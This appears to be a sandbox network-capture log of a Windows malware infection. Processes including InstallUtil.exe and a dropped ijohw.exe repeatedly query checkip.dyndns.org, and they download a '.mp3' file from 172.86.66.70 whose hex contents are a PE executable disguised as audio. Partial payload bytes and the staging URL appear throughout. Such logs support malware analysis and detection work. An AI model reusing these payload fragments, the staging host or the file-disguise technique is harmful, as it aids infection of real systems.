32 36 46 36 37 37 32 36 31 36 44 32 30 36 33 36 31 36 45 36 45 36 46 37 34 32 30 36 32 36 35 32 30 37 32 37 35 36 45 32 30 36 39 36 45 32 30 34 34 34 46 35 33 32 30 36 44 36 46 36 34 36 35 32 45 30 44 30 44 30 41 32 34 30 30 30 30 30 30 30 30 30 30 30 30 30 30 35 30 34 35 30 30 30 30 34 43 30 31 30 33 30 30 34 43 44 31 30 31 41 36 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 45 30 30 30 30 45 32 31 30 42 30 31 33 30 30 30 30 30 30 32 30 45 30 30 30 30 30 36 30 30 30 30 30 30 30 30 30 30 30 30 30 45 [TRUNCATED] Data Ascii: 4D5A90000300000004000000FFFF0000B800000000000000400000000000000000000000000000000000000000000000000000000000000000000000800000000E1FBA0E00B409CD21B8014CCD21546869732070726F6772616D2063616E6E6F742062652072756E20696E20444F53206D6F64652E0D0D0A2400000000000000504500004C0103004CD101A60000000000000000E0000E210B01300000020E0000060000000000000E210E000020000000400E000000400000200000000200000400000000000000040000000000000000800E0000020000000000000300408500001000001000000000100000100000000000000F0000000000000000000000C0200E004B00000000400E00340300000000000000000000000000000000000000600E000C00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000200000080000000000000000000000082000004800000000000000000000002E7465787400000014010E000020000000020E0000020000000000000000000000000000200000602E727372630000003403000000400E000004000000040E00000000000000000000000000400000C02E72656C6F6300000C00000000600E0
Sep 26, 2024 12:11:57.488799095 CEST	1236	IN	Data Raw: 30 30 30 30 32 30 30 30 30 30 30 30 38 30 45 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 34 30 30 30 30 30 34 32 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 46 Data Ascii: 00002000000080E000000000000000000000000004000004200000000000000000000000000000000F0200E000000000048000000020005002CC30100343B0200010000000000000060FE0300D21F0A0036200E0080000000000000000000000000000000000000000000000000000000000000000000000013
Sep 26, 2024 12:11:57.488815069 CEST	448	IN	Data Raw: 30 30 30 34 35 30 33 30 30 30 30 30 30 32 46 30 30 30 30 30 30 30 36 30 30 30 30 30 30 30 35 30 30 30 30 30 30 33 38 32 41 30 30 30 30 30 30 32 41 37 45 39 39 30 32 30 30 30 34 32 38 42 39 30 38 30 30 30 36 32 30 30 30 30 30 30 30 30 30 37 45 39 Data Ascii: 00045030000002F0000000600000005000000382A0000002A7E9902000428B908000620000000007E960200047B6502000439CBFFFFFF26200000000038C0FFFFFF7E9A02000428BD08000620020000007E960200047B440200043AA2FFFFFF2620000000003897FFFFFF120000172A000000120000142A0000
Sep 26, 2024 12:11:57.488838911 CEST	1236	IN	Data Raw: 30 33 38 30 30 30 30 30 30 30 30 46 45 30 43 30 30 30 30 34 35 30 33 30 30 30 30 30 30 35 37 30 30 30 30 30 30 30 35 30 30 30 30 30 30 32 45 30 30 30 30 30 30 33 38 35 32 30 30 30 30 30 30 37 45 39 41 30 32 30 30 30 34 32 38 42 44 30 38 30 30 30 Data Ascii: 03800000000FE0C0000450300000057000000050000002E00000038520000007E9A02000428BD08000620000000007E960200047B8202000439CCFFFFFF26200000000038C1FFFFFF7E9902000428B908000620010000007E960200047B290200043AA3FFFFFF2620010000003898FFFFFF2A120000002A0000
Sep 26, 2024 12:11:57.488856077 CEST	1236	IN	Data Raw: 30 30 30 30 30 30 30 30 30 37 45 39 36 30 32 30 30 30 34 37 42 38 34 30 32 30 30 30 34 33 39 43 43 46 46 46 46 46 46 32 36 32 30 30 30 30 30 30 30 30 30 33 38 43 31 46 46 46 46 46 46 32 41 37 45 39 41 30 32 30 30 30 34 32 38 42 44 30 38 30 30 30 Data Ascii: 0000000007E960200047B8402000439CCFFFFFF26200000000038C1FFFFFF2A7E9A02000428BD08000620020000007E960200047B870200043AA2FFFFFF2620010000003897FFFFFF120000172A000000120000142A0000001330060004000000000000000000142A1330030080000000010000112887030006
Sep 26, 2024 12:11:57.488873959 CEST	1236	IN	Data Raw: 36 32 38 30 33 30 30 30 30 32 42 38 30 33 44 30 30 30 30 30 34 32 30 30 36 30 30 30 30 30 30 37 45 39 36 30 32 30 30 30 34 37 42 39 30 30 32 30 30 30 34 33 39 39 46 46 45 46 46 46 46 32 36 32 30 31 37 30 30 30 30 30 30 33 38 39 34 46 45 46 46 46 Data Ascii: 6280300002B803D00000420060000007E960200047B90020004399FFEFFFF2620170000003894FEFFFF20FC9677D320E4AAF19E59204D214316617E960200047B2E020004617EBE020004284D09000620541753262094A852EA5820B3BF9424617E960200047B8D020004617EBE020004284D09000628040000
Sep 26, 2024 12:11:57.488894939 CEST	1236	IN	Data Raw: 44 30 39 30 30 30 36 32 38 30 39 30 30 30 30 32 42 38 30 34 33 30 30 30 30 30 34 32 30 30 30 30 30 30 30 30 30 37 45 39 36 30 32 30 30 30 34 37 42 36 41 30 32 30 30 30 34 33 41 33 32 46 43 46 46 46 46 32 36 32 30 30 30 30 30 30 30 30 30 33 38 32 Data Ascii: D090006280900002B804300000420000000007E960200047B6A0200043A32FCFFFF2620000000003827FCFFFF206BCA2CD22032B12BFA617E960200047B62020004617EBE020004284D09000620829BEEDE6620446B9C3A617E960200047B45020004617EBE020004284D090006280A00002B80410000042000
Sep 26, 2024 12:11:57.488924026 CEST	1236	IN	Data Raw: 44 30 32 30 30 30 34 36 31 37 45 42 45 30 32 30 30 30 34 32 38 34 44 30 39 30 30 30 36 32 38 30 46 30 30 30 30 32 42 38 30 32 41 30 30 30 30 30 34 32 30 32 32 30 30 30 30 30 30 33 38 43 37 46 39 46 46 46 46 32 41 32 30 33 39 34 32 39 46 38 45 32 Data Ascii: D020004617EBE020004284D090006280F00002B802A000004202200000038C7F9FFFF2A2039429F8E20E267B1B9617E960200047B50020004617EBE020004284D09000620B53B93FF20AF47FBD7617E960200047B52020004617EBE020004284D090006281000002B803C00000420140000003872F9FFFF2096
Sep 26, 2024 12:11:57.488979101 CEST	1236	IN	Data Raw: 31 37 45 39 36 30 32 30 30 30 34 37 42 35 38 30 32 30 30 30 34 36 31 37 45 42 45 30 32 30 30 30 34 32 38 34 44 30 39 30 30 30 36 32 38 31 36 30 30 30 30 32 42 38 30 33 31 30 30 30 30 30 34 32 30 30 42 30 30 30 30 30 30 37 45 39 36 30 32 30 30 30 Data Ascii: 17E960200047B58020004617EBE020004284D090006281600002B8031000004200B0000007E960200047B7D020004394CF7FFFF2620000000003841F7FFFF207FFA41DD65204BAF921B617E960200047B3A020004617EBE020004284D09000620D537399220A0567E8A617E960200047B5C020004617EBE0200
Sep 26, 2024 12:11:57.488996029 CEST	776	IN	Data Raw: 43 30 30 30 30 32 42 38 30 34 41 30 30 30 30 30 34 32 30 30 43 30 30 30 30 30 30 46 45 30 45 30 30 30 30 33 38 46 42 46 34 46 46 46 46 32 30 43 34 44 35 41 41 37 32 36 36 32 30 43 44 36 30 33 34 38 39 36 31 37 45 39 36 30 32 30 30 30 34 37 42 36 Data Ascii: C00002B804A000004200C000000FE0E000038FBF4FFFF20C4D5AA726620CD603489617E960200047B67020004617EBE020004284D09000620C81ABA8C20EF63BDA4617E960200047B62020004617EBE020004284D090006281D00002B802E0000042010000000FE0E000038A2F4FFFF20379D8D6A20CB6DAEF3
Sep 26, 2024 12:11:57.493902922 CEST	1236	IN	Data Raw: 30 30 34 32 30 30 39 30 30 30 30 30 30 37 45 39 36 30 32 30 30 30 34 37 42 36 45 30 32 30 30 30 34 33 39 37 43 46 33 46 46 46 46 32 36 32 30 30 41 30 30 30 30 30 30 33 38 37 31 46 33 46 46 46 46 32 30 39 43 41 36 34 36 43 35 32 30 34 37 38 33 36 Data Ascii: 00420090000007E960200047B6E020004397CF3FFFF26200A0000003871F3FFFF209CA646C520478368F2617E960200047B50020004617EBE020004284D09000620FAF855806620D70FE65D617E960200047B7B020004617EBE020004284D090006282100002B802F000004200B0000007E960200047B8F0200

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49733	193.122.130.0	80	480	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
Sep 26, 2024 12:12:11.263403893 CEST	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Sep 26, 2024 12:12:11.735984087 CEST	320	IN	HTTP/1.1 200 OK Date: Thu, 26 Sep 2024 10:12:11 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 8497e5fbe62588628ccd394e5a19e80a Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.33</body></html>
Sep 26, 2024 12:12:11.740338087 CEST	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Sep 26, 2024 12:12:11.855942965 CEST	320	IN	HTTP/1.1 200 OK Date: Thu, 26 Sep 2024 10:12:11 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 3dc040fb1ac566fe974769f8822cb794 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.33</body></html>
Sep 26, 2024 12:12:12.605127096 CEST	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Sep 26, 2024 12:12:12.705838919 CEST	320	IN	HTTP/1.1 200 OK Date: Thu, 26 Sep 2024 10:12:12 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 5efe2b0929dd5d94d24038b2bf216fcb Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.33</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49736	193.122.130.0	80	480	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
Sep 26, 2024 12:12:13.324709892 CEST	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Sep 26, 2024 12:12:13.952575922 CEST	320	IN	HTTP/1.1 200 OK Date: Thu, 26 Sep 2024 10:12:13 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: d687e077d4c669e948037a4340fe4777 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.33</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49739	193.122.130.0	80	480	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
Sep 26, 2024 12:12:14.929733992 CEST	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Sep 26, 2024 12:12:15.820481062 CEST	320	IN	HTTP/1.1 200 OK Date: Thu, 26 Sep 2024 10:12:15 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 4317fb5e53f1a9d0976d0a31583f7ccc Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.33</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49744	193.122.130.0	80	480	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
Sep 26, 2024 12:12:16.737018108 CEST	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Sep 26, 2024 12:12:17.220571995 CEST	320	IN	HTTP/1.1 200 OK Date: Thu, 26 Sep 2024 10:12:17 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: c442bfbbc9c049bf99e185d683a1f210 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.33</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49747	193.122.130.0	80	480	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
Sep 26, 2024 12:12:17.873158932 CEST	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Sep 26, 2024 12:12:18.386936903 CEST	320	IN	HTTP/1.1 200 OK Date: Thu, 26 Sep 2024 10:12:18 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: eff84f09d32fbfb6f97318255a9c4ab4 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.33</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49750	193.122.130.0	80	480	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
Sep 26, 2024 12:12:18.997478962 CEST	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Sep 26, 2024 12:12:19.777148008 CEST	320	IN	HTTP/1.1 200 OK Date: Thu, 26 Sep 2024 10:12:19 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: c5152c6a40cd686fcb673d45611b5114 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.33</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49752	193.122.130.0	80	480	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
Sep 26, 2024 12:12:20.432378054 CEST	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Sep 26, 2024 12:12:20.887747049 CEST	320	IN	HTTP/1.1 200 OK Date: Thu, 26 Sep 2024 10:12:20 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 7e6fb3069616df6f067431adc0e5504c Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.33</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	49753	172.86.66.70	80	3120	C:\Users\user\AppData\Roaming\ijohw.exe

Timestamp	Bytes transferred	Direction	Data
Sep 26, 2024 12:12:20.833508968 CEST	77	OUT	GET /y3/Lusnteor.mp3 HTTP/1.1 Host: 172.86.66.70 Connection: Keep-Alive
Sep 26, 2024 12:12:21.468715906 CEST	1236	IN	HTTP/1.1 200 OK Date: Thu, 26 Sep 2024 10:12:21 GMT Server: Apache/2.4.62 (Debian) Last-Modified: Wed, 25 Sep 2024 23:50:08 GMT ETag: "1c1400-622fa4827cc00" Accept-Ranges: bytes Content-Length: 1840128 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: audio/mpeg Data Raw: 34 44 35 41 39 30 30 30 30 33 30 30 30 30 30 30 30 34 30 30 30 30 30 30 46 46 46 46 30 30 30 30 42 38 30 30 30 30 30 30 30 30 30 30 30 30 30 30 34 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 38 30 30 30 30 30 30 30 30 45 31 46 42 41 30 45 30 30 42 34 30 39 43 44 32 31 42 38 30 31 34 43 43 44 32 31 35 34 36 38 36 39 37 33 32 30 37 30 37 32 36 46 36 37 37 32 36 31 36 44 32 30 36 33 36 31 36 45 36 45 36 46 37 34 32 30 36 32 36 35 32 30 37 32 37 35 36 45 32 30 36 39 36 45 32 30 34 34 34 46 35 33 32 30 36 44 36 46 36 34 36 35 32 45 30 44 30 44 30 41 32 34 30 30 30 30 30 30 30 30 30 30 30 30 30 30 35 30 34 35 30 30 30 30 34 43 30 31 30 33 30 30 34 43 44 31 30 31 41 36 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 45 30 30 30 30 45 32 31 30 42 30 31 33 30 30 30 30 30 30 32 30 45 30 30 30 30 30 36 30 30 30 30 30 30 30 30 30 30 30 30 30 45 [TRUNCATED] Data Ascii: 4D5A90000300000004000000FFFF0000B800000000000000400000000000000000000000000000000000000000000000000000000000000000000000800000000E1FBA0E00B409CD21B8014CCD21546869732070726F6772616D2063616E6E6F742062652072756E20696E20444F53206D6F64652E0D0D0A2400000000000000504500004C0103004CD101A60000000000000000E0000E210B01300000020E0000060000000000000E210E000020000000400E000000400000200000000200000400000000000000040000000000000000800E0000020000000000000300408500001000001000000000100000100000000000000F0000000000000000000000C0200E004B00000000400E00340300000000000000000000000000000000000000600E000C00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000200000080000000000000000000000082000004800000000000000000000002E7465787400000014010E000020000000020E0000020000000000000000000000000000200000602E727372630000003403000000400E000004000000040E00000000000000000000000000400000C02E72656C6F6300000C00000000600E0
Sep 26, 2024 12:12:21.468727112 CEST	1236	IN	Data Raw: 30 30 30 30 32 30 30 30 30 30 30 30 38 30 45 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 34 30 30 30 30 30 34 32 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 46 Data Ascii: 00002000000080E000000000000000000000000004000004200000000000000000000000000000000F0200E000000000048000000020005002CC30100343B0200010000000000000060FE0300D21F0A0036200E0080000000000000000000000000000000000000000000000000000000000000000000000013
Sep 26, 2024 12:12:21.468751907 CEST	1236	IN	Data Raw: 30 30 30 34 35 30 33 30 30 30 30 30 30 32 46 30 30 30 30 30 30 30 36 30 30 30 30 30 30 30 35 30 30 30 30 30 30 33 38 32 41 30 30 30 30 30 30 32 41 37 45 39 39 30 32 30 30 30 34 32 38 42 39 30 38 30 30 30 36 32 30 30 30 30 30 30 30 30 30 37 45 39 Data Ascii: 00045030000002F0000000600000005000000382A0000002A7E9902000428B908000620000000007E960200047B6502000439CBFFFFFF26200000000038C0FFFFFF7E9A02000428BD08000620020000007E960200047B440200043AA2FFFFFF2620000000003897FFFFFF120000172A000000120000142A0000
Sep 26, 2024 12:12:21.468767881 CEST	672	IN	Data Raw: 32 30 30 30 34 33 39 43 43 46 46 46 46 46 46 32 36 32 30 30 30 30 30 30 30 30 30 33 38 43 31 46 46 46 46 46 46 32 41 37 45 39 41 30 32 30 30 30 34 32 38 42 44 30 38 30 30 30 36 32 30 30 31 30 30 30 30 30 30 37 45 39 36 30 32 30 30 30 34 37 42 38 Data Ascii: 2000439CCFFFFFF26200000000038C1FFFFFF2A7E9A02000428BD08000620010000007E960200047B810200043AA2FFFFFF2620020000003897FFFFFF120000142A000000120000142A000000120000172A000000120000172A000000120000142A000000120000172A000000120000142A000000120000142A
Sep 26, 2024 12:12:21.468784094 CEST	1236	IN	Data Raw: 30 30 31 30 30 30 30 31 31 32 38 38 37 30 33 30 30 30 36 32 30 30 31 30 30 30 30 30 30 46 45 30 45 30 30 30 30 33 38 30 30 30 30 30 30 30 30 46 45 30 43 30 30 30 30 34 35 30 33 30 30 30 30 30 30 30 35 30 30 30 30 30 30 32 46 30 30 30 30 30 30 32 Data Ascii: 00100001128870300062001000000FE0E00003800000000FE0C00004503000000050000002F0000002E00000038000000007E9A02000428BD08000620010000007E960200047B570200043ACCFFFFFF26200200000038C1FFFFFF2A7E9902000428B908000620000000007E960200047B440200043AA2FFFFFF
Sep 26, 2024 12:12:21.468799114 CEST	1236	IN	Data Raw: 34 32 38 34 44 30 39 30 30 30 36 32 38 30 34 30 30 30 30 32 42 38 30 33 32 30 30 30 30 30 34 32 30 30 33 30 30 30 30 30 30 33 38 33 34 46 45 46 46 46 46 32 30 44 35 33 37 33 39 39 32 32 30 44 35 34 42 45 32 41 37 36 31 37 45 39 36 30 32 30 30 30 Data Ascii: 4284D090006280400002B803200000420030000003834FEFFFF20D537399220D54BE2A7617E960200047B74020004617EBE020004284D09000620DD60DBD72025FCA097617E960200047B90020004617EBE020004284D090006280500002B803800000420150000007E960200047B5C0200043AD6FDFFFF2620
Sep 26, 2024 12:12:21.468816042 CEST	448	IN	Data Raw: 30 30 30 32 42 38 30 34 31 30 30 30 30 30 34 32 30 30 30 30 30 30 30 30 30 37 45 39 36 30 32 30 30 30 34 37 42 33 30 30 32 30 30 30 34 33 41 43 38 46 42 46 46 46 46 32 36 32 30 30 32 30 30 30 30 30 30 33 38 42 44 46 42 46 46 46 46 37 45 39 41 30 Data Ascii: 0002B804100000420000000007E960200047B300200043AC8FBFFFF26200200000038BDFBFFFF7E9A02000428BD08000620010000007E960200047B94020004399FFBFFFF2620010000003894FBFFFF202A0CBE52652063F37099617E960200047B8D020004617EBE020004284D0900062018DAF5C320020000
Sep 26, 2024 12:12:21.468832970 CEST	1236	IN	Data Raw: 30 46 38 30 42 39 32 30 44 32 30 34 46 32 38 46 31 34 30 36 31 37 45 39 36 30 32 30 30 30 34 37 42 33 44 30 32 30 30 30 34 36 31 37 45 42 45 30 32 30 30 30 34 32 38 34 44 30 39 30 30 30 36 32 38 30 43 30 30 30 30 32 42 38 30 33 45 30 30 30 30 30 Data Ascii: 0F80B920D204F28F140617E960200047B3D020004617EBE020004284D090006280C00002B803E000004201F00000038D0FAFFFF203321113520335DCA00617E960200047B74020004617EBE020004284D09000620F1601D4E207E58C970617E960200047B66020004617EBE020004284D090006280D00002B80
Sep 26, 2024 12:12:21.468848944 CEST	1236	IN	Data Raw: 32 43 31 32 30 30 32 30 30 30 30 30 30 36 33 32 30 36 35 31 39 36 39 42 30 36 31 37 45 39 36 30 32 30 30 30 34 37 42 38 42 30 32 30 30 30 34 36 31 37 45 42 45 30 32 30 30 30 34 32 38 34 44 30 39 30 30 30 36 32 38 31 33 30 30 30 30 32 42 38 30 32 Data Ascii: 2C120020000006320651969B0617E960200047B8B020004617EBE020004284D090006281300002B802D000004200D0000003863F8FFFF20B53B93FF203FFBA1C1617E960200047B37020004617EBE020004284D09000620DD60DBD720851FB3FF617E960200047B52020004617EBE020004284D090006281400
Sep 26, 2024 12:12:21.468868971 CEST	1236	IN	Data Raw: 30 46 45 30 45 30 30 30 30 33 38 32 32 46 36 46 46 46 46 32 30 43 37 38 46 42 37 30 41 32 30 38 38 30 43 37 43 37 35 36 31 32 30 37 45 38 32 30 44 31 37 36 31 37 45 39 36 30 32 30 30 30 34 37 42 38 30 30 32 30 30 30 34 36 31 37 45 42 45 30 32 30 Data Ascii: 0FE0E00003822F6FFFF20C78FB70A20880C7C7561207E820D17617E960200047B80020004617EBE020004284D09000620541753262094A852EA58202897662C617E960200047B87020004617EBE020004284D090006281A00002B8042000004200600000038C6F5FFFF20D8F685452032CE8700617E96020004
Sep 26, 2024 12:12:21.473742962 CEST	1236	IN	Data Raw: 31 37 45 42 45 30 32 30 30 30 34 32 38 34 44 30 39 30 30 30 36 32 30 41 31 37 46 38 34 44 43 36 36 32 30 45 42 34 38 42 44 30 31 36 31 37 45 39 36 30 32 30 30 30 34 37 42 32 45 30 32 30 30 30 34 36 31 37 45 42 45 30 32 30 30 30 34 32 38 34 44 30 Data Ascii: 17EBE020004284D09000620A17F84DC6620EB48BD01617E960200047B2E020004617EBE020004284D090006282000002B804800000420090000007E960200047B6E020004397CF3FFFF26200A0000003871F3FFFF209CA646C520478368F2617E960200047B50020004617EBE020004284D09000620FAF85580

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	49755	172.86.66.70	80	4168	C:\Users\user\AppData\Roaming\ijohw.exe

Timestamp	Bytes transferred	Direction	Data
Sep 26, 2024 12:12:28.804838896 CEST	77	OUT	GET /y3/Lusnteor.mp3 HTTP/1.1 Host: 172.86.66.70 Connection: Keep-Alive
